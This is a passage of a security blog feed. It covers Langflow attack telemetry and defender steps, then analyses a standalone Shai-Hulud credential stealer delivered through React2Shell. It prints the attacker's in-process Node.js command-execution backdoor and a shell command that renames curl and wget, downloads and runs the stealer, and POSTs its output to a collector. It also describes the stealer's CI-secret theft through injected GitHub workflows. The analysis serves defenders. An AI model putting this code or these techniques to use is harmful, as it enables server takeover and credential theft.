&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;36&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Quietest window that was exploited&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;8.5&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;ten-attacker-ips-showed-response-aware-or-interactive-behavior&quot;&gt;Ten attacker IPs showed response-aware or interactive behavior&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Observed behavior&lt;/th&gt;
&lt;th style=&quot;text-align:right&quot;&gt;Attacker IPs&lt;/th&gt;
&lt;th style=&quot;text-align:right&quot;&gt;Share&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Likely automation&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;15&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;48%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Response-aware, person or agent&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;9&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;29%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Interactive operation&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Insufficient activity to classify&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;19%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Likely automated sources repeated fixed commands without reacting to the
response. One miner submitted the same invalid Python eight times despite
receiving the same error. The Mirai-like campaign sent its first x86 attempt to
three hosts within 81 milliseconds, then continued downloading payloads after
the first attempt had already succeeded.&lt;/p&gt;
&lt;p&gt;Response-aware sources used information returned by the hosts. In one
operation, an IP ran &lt;code&gt;su -&lt;/code&gt; with a planted password and an account name that had
only been returned to a different IP 13 minutes earlier. The four IPs therefore
shared reconnaissance results.&lt;/p&gt;
&lt;p&gt;The AdaptixC2 source behaved interactively. It tested execution with &lt;code&gt;1+1&lt;/code&gt;,
selected one of three hosts, inspected &lt;code&gt;/tmp&lt;/code&gt; and checked permissions between
failed launch attempts. These actions show active control of the session, but
the command trace alone cannot determine whether that control came from a
person or an agent.&lt;/p&gt;
&lt;h2 id=&quot;what-defenders-should-do&quot;&gt;What defenders should do&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Upgrade Langflow to 1.10.1 or later. IBM lists no workaround for affected
versions.&lt;/li&gt;
&lt;li&gt;Treat an internet-exposed deployment running 1.0.0 through 1.10.0 with
auto-login enabled as potentially compromised.&lt;/li&gt;
&lt;li&gt;Search proxy and application logs for &lt;code&gt;/api/v1/auto_login&lt;/code&gt; followed by
&lt;code&gt;/api/v1/validate/code&lt;/code&gt; or a successful full-data &lt;code&gt;GET /api/v1/flows&lt;/code&gt; from
an untrusted source.&lt;/li&gt;
&lt;li&gt;Rotate credentials stored in returned flow definitions and every credential
available to the Langflow service environment. Validation responses may have
returned those values directly to the attacker.&lt;/li&gt;
&lt;li&gt;Investigate deleted but running executables through process or kernel
telemetry. Two payloads removed their filesystem paths after launch, and one
was recoverable only through &lt;code&gt;/proc&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Rebuild after containment. Rebuilding without upgrading or removing the
vulnerable service restores the same exposure.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Want more? Security researchers can contact us at &lt;code&gt;team@&lt;/code&gt;. We are happy to
share additional data.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Shai-Hulud rebuilt as a standalone stealer</title>
    <link href="https://bitbison.io/blog/shai-hulud-standalone/" />
    <updated>2026-08-11T00:00:00Z</updated>
    <id>https://bitbison.io/blog/shai-hulud-standalone/</id>
    <category term="wild" />
    <summary>A new standalone Mini Shai-Hulud variant delivered through React2Shell with an SSH worm and Global Socket reverse shell.</summary>
    <content type="html">&lt;h2 id=&quot;how-this-shai-hulud-variant-and-campaign-differ&quot;&gt;How this Shai-Hulud variant and campaign differ&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;documented Mini Shai-Hulud npm campaign&lt;/a&gt;
ran a credential-stealing and propagation framework during package installation.
The executable we recovered packages that framework as a standalone Linux
post-exploitation payload and is derived from a
&lt;a href=&quot;https://github.com/edxeth/Shai-Hulud-Open-Source/tree/main&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;publicly available Shai-Hulud variant&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;React2Shell launches Shai-Hulud before it propagates.&lt;/strong&gt; The operator uses
React2Shell for initial remote code execution (RCE) on the Next.js server then
launches the standalone variant. Shai-Hulud spreads through GitHub
repositories and npm packages. A separate SSH worm moves between reachable
hosts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;React2Shell installs command execution inside the Next.js server.&lt;/strong&gt; Three
in-process HTTP handlers execute arbitrary shell commands and return their
output over the existing request connection. This provides an exfiltration
channel without an outbound connection or new listener.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The operator installs three payload handlers together.&lt;/strong&gt; In the same second,
the exploit installs separate handlers for the standalone Shai-Hulud variant,
the SSH worm and a persistence stage containing an attacker key and Global
Socket tooling. The operator later invokes the handlers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access persists at the process, host and repository levels.&lt;/strong&gt; The injected
HTTP handlers remain until the Node.js process restarts. An attacker SSH key
and Global Socket startup hooks survive host restarts. Shai-Hulud adds VS Code
folder-open and Claude Code &lt;code&gt;SessionStart&lt;/code&gt; hooks to compromised repositories.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;build-artifacts-identify-a-separate-standalone-target&quot;&gt;Build artifacts identify a separate standalone target&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The available evidence places the likely build date on 12-15 May 2026.&lt;/strong&gt;
The executable embeds Bun 1.3.14, publicly released on May 12th 2026. It was
present on the staging host by 15 May. The npm campaign began on 11 May, so
the artifact was likely produced after the campaign began.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The build contains an OpenSearch commit reference that no longer
resolves.&lt;/strong&gt; &lt;code&gt;PACKAGE_NAME&lt;/code&gt; points to
&lt;code&gt;github:opensearch-project/opensearch-js#d446803f…&lt;/code&gt;. The commit hash does not
appear in the upstream repository, its 145 forks or GitHub commit search.
OpenSearch
&lt;a href=&quot;https://forum.opensearch.org/t/security-advisory-compromised-npm-development-packages/28060&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;reported
that the supply-chain compromise occurred&lt;/a&gt; at about 20:30 EDT on 11 May
and marked the incident resolved on 15 May. This response window overlaps the
standalone build window. We cannot determine how the reference disappeared.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Build paths identify the standalone target.&lt;/strong&gt; All modules contain paths
under &lt;code&gt;../Shai-Hulud-Standalone/src/…&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;the-executable-needs-no-npm-nodejs-or-runtime-download&quot;&gt;The executable needs no npm, Node.js or runtime download&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bun embeds its runtime in the executable.&lt;/strong&gt; The variant was compiled with
&lt;code&gt;bun build --compile&lt;/code&gt;. Execution does not require npm, Node.js or a separately
installed Bun runtime.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A standalone polyfill limits the required source changes.&lt;/strong&gt; The new
&lt;code&gt;utils/standalonePolyfill.ts&lt;/code&gt; file adapts the existing code to Bun&#39;s compiled
target without restructuring the rest of the build.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;react2shell-delivers-the-executable&quot;&gt;React2Shell delivers the executable&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The exploit installs command handlers inside the running Next.js process.&lt;/strong&gt;
The operator monkey-patches &lt;code&gt;http.Server.prototype.emit&lt;/code&gt; to intercept selected
HTTP request paths and passes each decoded POST body to &lt;code&gt;child_process.exec&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The &lt;code&gt;/nacarejv&lt;/code&gt; command performs the exfiltration.&lt;/strong&gt; It downloads the
standalone executable, redirects its standard output to &lt;code&gt;r.txt&lt;/code&gt; then uses a
separate &lt;code&gt;curl&lt;/code&gt; invocation to POST the file to an attacker-controlled
collector.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;react2shell-installs-three-in-process-backdoors&quot;&gt;React2Shell installs three in-process backdoors&lt;/h2&gt;
&lt;p&gt;We instrumented a research fleet with
&lt;a href=&quot;https://bitbison.io&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Bitbison&lt;/a&gt; and
exposed a genuinely vulnerable React Server Components stack to the internet
as part of the scenario described in
&lt;a href=&quot;/blog/react2shell-eight-months-later/&quot;&gt;React2Shell: 8 months later&lt;/a&gt;. One
compromise delivered the standalone Shai-Hulud executable together with the SSH
worm and persistent-access tooling analyzed below.&lt;/p&gt;
&lt;p&gt;The exploit replaces &lt;code&gt;http.Server.prototype.emit&lt;/code&gt; while the process is running.
The following excerpt shows one of the three installed handlers:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; originalEmit &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;emit&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;emit&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;event&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;args&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;event &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;request&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; res&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; args&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;/nacarejv&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;method &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;POST&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;// the POST body is base64-decoded into a shell command, then run&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; cmd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Buffer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;body&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;base64&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;utf8&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;whoami&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
      cp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmd&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;err&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; stdout&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; stderr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;writeHead&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string-property property&quot;&gt;&#39;Content-Type&#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;application/json&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                            &lt;span class=&quot;token string-property property&quot;&gt;&#39;Access-Control-Allow-Origin&#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;*&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;err&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; stdout&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; stderr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                                 &lt;span class=&quot;token literal-property property&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; err &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; err&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;message &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;originalEmit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; arguments&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The operator installed all three handlers in the same second. Each handler uses
a different random eight-letter path. When a request matches, the wrapper
passes its decoded body to &lt;code&gt;cp.exec&lt;/code&gt; and returns without calling
&lt;code&gt;originalEmit.apply&lt;/code&gt;. The Next.js router never receives the request. The
handlers remain active until the Node.js process restarts.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Path&lt;/th&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;How data returns&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/nacarejv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fetches the stealer, runs &lt;code&gt;./shai &amp;gt; r.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;POSTs &lt;code&gt;r.txt&lt;/code&gt; to the collector; removes the executable and output file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/cejrtyyz&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fetches and &lt;code&gt;nohup&lt;/code&gt;s an SSH worm from a withheld victim host&lt;/td&gt;
&lt;td&gt;Spreads over SSH and installs a hidden Global Socket reverse shell; a wrapper stage beacons access details to a Discord webhook&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/obqtzxdt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Appends an &lt;code&gt;authorized_keys&lt;/code&gt; entry, runs a deploy script as &lt;code&gt;/dev/shm/.ts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;POSTs hostname, cores, load and RAM to the operator&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The handlers can return command output over the existing HTTP connection
without opening a new listener. The observed Shai-Hulud command instead
redirected its output to &lt;code&gt;r.txt&lt;/code&gt; then sent the file through a separate &lt;code&gt;curl&lt;/code&gt;
invocation.&lt;/p&gt;
&lt;h2 id=&quot;the-command-retrieves-runs-and-removes-the-stealer&quot;&gt;The command retrieves, runs and removes the stealer&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;/nacarejv&lt;/code&gt; handler received the following shell command. Network locations
and repeated fallback arguments are redacted:&lt;/p&gt;
&lt;pre class=&quot;language-sh&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; /dev/shm/
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;cp /usr/bin/curl /usr/bin/qq &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# rename the fetcher to defeat&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;cp /usr/bin/wget /usr/bin/ww &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# any rule keyed on curl or wget&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; qq &lt;span class=&quot;token parameter variable&quot;&gt;-sL&lt;/span&gt; http://&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;staging-host&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;./shai &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; shai
  &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; ww &lt;span class=&quot;token parameter variable&quot;&gt;-q&lt;/span&gt;  http://&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;staging-host&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;./shai &lt;span class=&quot;token parameter variable&quot;&gt;-O&lt;/span&gt; shai
  &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; python3 &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;import urllib.request; urllib.request.urlretrieve(...)&quot;&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; php &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;copy(&#39;...&#39;, &#39;shai&#39; || curl ... || wget ...)&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;chmod&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;777&lt;/span&gt; shai
./shai &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; r.txt
&lt;span class=&quot;token function&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; shai              &lt;span class=&quot;token comment&quot;&gt;# delete the tool before the output is even sent&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-X&lt;/span&gt; POST http://&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;staging-host&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;./index.php --data-binary @r.txt &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wget&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;. &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; python3 &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.
&lt;span class=&quot;token function&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; r.txt &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The command first copies &lt;code&gt;curl&lt;/code&gt; to &lt;code&gt;/usr/bin/qq&lt;/code&gt; and &lt;code&gt;wget&lt;/code&gt; to
&lt;code&gt;/usr/bin/ww&lt;/code&gt;. This attempts to bypass detections keyed to the original
executable names or paths. The command tries four retrieval methods in order:
renamed &lt;code&gt;curl&lt;/code&gt;, renamed &lt;code&gt;wget&lt;/code&gt;, Python and PHP. Each method runs only if the
preceding method fails. After running &lt;code&gt;shai&lt;/code&gt; with its standard output
redirected to &lt;code&gt;r.txt&lt;/code&gt;, the command deletes the executable, POSTs &lt;code&gt;r.txt&lt;/code&gt; to the
collector and deletes the output file.&lt;/p&gt;
&lt;p&gt;The other two handlers run in parallel and carry different payloads. &lt;code&gt;/cejrtyyz&lt;/code&gt;
installs an SSH lateral-movement worm. It reads local keys and known hosts,
sprays SSH across everything it can reach, copies itself onward and ends by
installing a hidden Global Socket reverse shell for durable access. A wrapper stage
along the way beacons the machine&#39;s user, hostname and access details to a
Discord webhook. &lt;code&gt;/obqtzxdt&lt;/code&gt; appends an attacker key to &lt;code&gt;authorized_keys&lt;/code&gt;, runs
a deploy script as &lt;code&gt;/dev/shm/.ts&lt;/code&gt; and registers the host, its name and its
specs with the same address that launched the exploit.&lt;/p&gt;
&lt;p&gt;The three payloads belong to one campaign. The operator installed all three
handlers in the same second. The registration stage reports to
the same address that sent every exploit request we observed against these
hosts.&lt;/p&gt;
&lt;h2 id=&quot;the-standalone-variant-collects-credentials-through-local-and-remote-services&quot;&gt;The standalone variant collects credentials through local and remote services&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Runs as a self-contained Linux executable without npm, Node.js or a runtime
download. The data it can collect remains a function of the process&#39;s
permissions, installed local tools and outbound access to the services it
queries.&lt;/li&gt;
&lt;li&gt;Prints a banner announcing discovery mode, then sweeps the filesystem for
credential paths, reads shell history and the whole environment and runs
&lt;code&gt;gh auth token&lt;/code&gt; to retrieve the GitHub command-line interface (CLI)
credential.&lt;/li&gt;
&lt;li&gt;On Linux continuous integration (CI) runners the executable launches
&lt;code&gt;sudo python3&lt;/code&gt; to read the &lt;code&gt;Runner.Worker&lt;/code&gt; process&#39;s memory and recover
secrets that GitHub masks in logs.&lt;/li&gt;
&lt;li&gt;Validates every GitHub token it found against &lt;code&gt;api.github.com/user&lt;/code&gt; with a
bare &lt;code&gt;node&lt;/code&gt; User-Agent.&lt;/li&gt;
&lt;li&gt;For each token with &lt;code&gt;workflow&lt;/code&gt; scope, queries up to 100 repositories that the
token can push to and whose latest push occurred after 1 September 2025.&lt;/li&gt;
&lt;li&gt;In each selected repository, creates a Dependabot-like branch and commits a
workflow as &lt;code&gt;github-advanced-security[bot]&lt;/code&gt;. The push causes the victim&#39;s CI
runner to serialize its accessible secrets into an artifact. The binary
downloads that artifact.&lt;/li&gt;
&lt;li&gt;After retrieving the artifact, deletes the workflow run and branch. The
branch and workflow no longer appear in the repository&#39;s current state.
GitHub audit logs and external telemetry may retain the activity.&lt;/li&gt;
&lt;li&gt;Runs the cloud providers: Amazon Web Services (AWS) Systems Manager (SSM)
Parameter Store, Secrets Manager and Security Token Service (STS); Kubernetes
secrets; HashiCorp Vault.&lt;/li&gt;
&lt;li&gt;Prints collected data to standard output. The &lt;code&gt;No exfiltration.&lt;/code&gt; banner
describes the executable itself. The attacker-supplied shell command
